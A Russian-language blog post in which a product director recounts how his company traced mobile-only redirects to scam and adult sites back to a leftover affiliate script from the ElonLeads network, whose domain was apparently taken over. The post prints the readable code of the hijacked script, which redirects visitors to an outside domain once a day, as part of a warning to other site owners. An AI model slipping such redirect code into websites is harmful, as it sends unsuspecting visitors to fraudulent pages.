Добрый день!
Меня зовут Максим и я директор по продуктам. Эта история началась с того, что однажды я зашел с мобильного телефона на наш сайт и, к своему большому удивлению, был перенаправлен на сайт какой-то интернет-рулетки. Попробовал зайти еще раз – проблема не повторяется, подумал что глюк. Попросил коллег попробовать зайти с мобильного телефона – и волосы встали дыбом. Один «стал миллионным посетителем и выиграл машину», второй – «получил подарочный депозит на форекс», третий был обрадован «ваучером на 50 000 рублей», а многие вообще попали на сайты с нескромно одетыми женщинами, делающими всякое. Для тех кто задумался о том, что может быть причиной, подсказка – сайт не взламывали. Вредоносный код мы добавили сами, пользуясь одним популярным маркетинговым инструментом. Расследование под катом.
Проблема
Спонтанные редиректы на сторонние сайты с сомнительным контентом при заходе на наш сайт с мобильных устройств.
Подозрения
- Партнерский js-код
- Встраивание со стороны интернет-провайдеров (парсинг и изменение трафика)
- Проблемы с телефоном, например вирус
Расследование
Проблема воспроизводилась на разных устройствах, в том числе на эмуляторе, а значит дело не в телефоне. Также редирект повторялся у всех операторов и на wi-fi. Значит дело в партнерском коде.
При помощи Chrome DevTools мы эмулировали мобильное устройство и стали пытаться воспроизвести редирект. Поймали! В сетевых логах нашлась уйма странных подгруженных ресурсов. Проверить их содержимое не удалось – при переходе браузер сохраняет пути к файлам, но не их содержимое. Остался только первый переход – storagemoon.com – агрегатор, который выкидывал через цепь редиректов на сомнительные сайты.
Ладно, тогда мы пойдём другим путем.
В консоли браузера вставляем отладочный код:
window.addEventListener("beforeunload", function() { debugger; }, false)
Он отрабатывает при начале перехода на новую страницу. Далее стали заходить на Фоксфорд, вычищая кэш. В очередной раз снова повезло – переход инициировал скрипт по адресу edmp.ru/pix/as_551.js.
Пруф:
Сам скрипт затягивался из партнерского кода ElonLeads.
Справедливости ради, с ElonLeads мы уже не работаем несколько месяцев, но после отключения не убрали код ретаргетинга.
Разбор работы этого скрипта для мобильных устройств (скрипт по этому адресу с десктопа выглядит иначе):
При первой загрузке скрипта пользователя перенаправляет по адресу storagemoon.com. Кроме этого, в localStorage записывается под ключом ”MenuIdentifier” следующее время редиректа, а именно ровно через сутки. В течение суток скрипт будет вести себя тихо и никому не мешать.
Однако на бекенде тоже есть какая-то логика. Потому что данный скрипт подгружается только на мобильных, и не всегда в первый раз.
Возможно, каждому 10-му, например, или через какое-то время. Возможно, запоминается IP. Иначе должен быть редирект сразу после очистки localStorage.
Сам код скрипта в читаемом виде:
function() {
function t() {
return !!localStorage.getItem(a)
}
function e() {
o(), parent.top.window.location.href = c
}
function o() {
var t = r + i;
localStorage.setItem(a, t)
}
function n() {
if (t()) {
var o = localStorage.getItem(a);
r > o && e()
} else e()
}
var a = "MenuIdentifier",
r = Math.floor((new Date).getTime() / 1e3),
c = "http://storagemoon.com",
i = 86400;
n()
}();
В дополнение, можно заметить по истории whois, что домен edmp.ru, с которого загружается скрипт, уводящий пользователя в неведомые дали, поменял владельца с ELONLID, LLC на Private Person. Видимо, тогда и начались фокусы.
И, в заключение, партнерский код ElonLeads, затягивающий именно этот edmp.ru/pix/as_551.js:
<script defer="defer" id="elpix">
try {
(function(){
window.elon = {
shop: 4,
user: {{user_id}}
};
var script = document.getElementById('elpix'), as_name = 'as_551', as = document.createElement('script');
Что произошло (на наш взляд)
ElonLeads, CPA сеть, счётчики которой стояли на тысячах сайтов, потеряла (продала?) доступ к домену edmp.ru. С этого домена тянулся js скрипт, который веб-мастера устанавливали на сайт, чтобы присоединиться к CPA сети. Злоумышленники смогли подменить скрипт и продолжают зарабатывать деньги на редиректах на сомнительные сайты. Были ли они в сговоре с ElonLeads – неизвестно. Однако своих партнёров ElonLeads никак не предупредила о смене кода счётчиков. Поэтому, возможно, и с вашего сайта тоже идут редиректы на интернет рулетки и прочий развод.
Надеюсь, эта статья поможет тем, кого в данный момент также обманывают CPA-сети.
В расследовании участвовали: obdolbacca, tauron, gremglee
Автор: madreval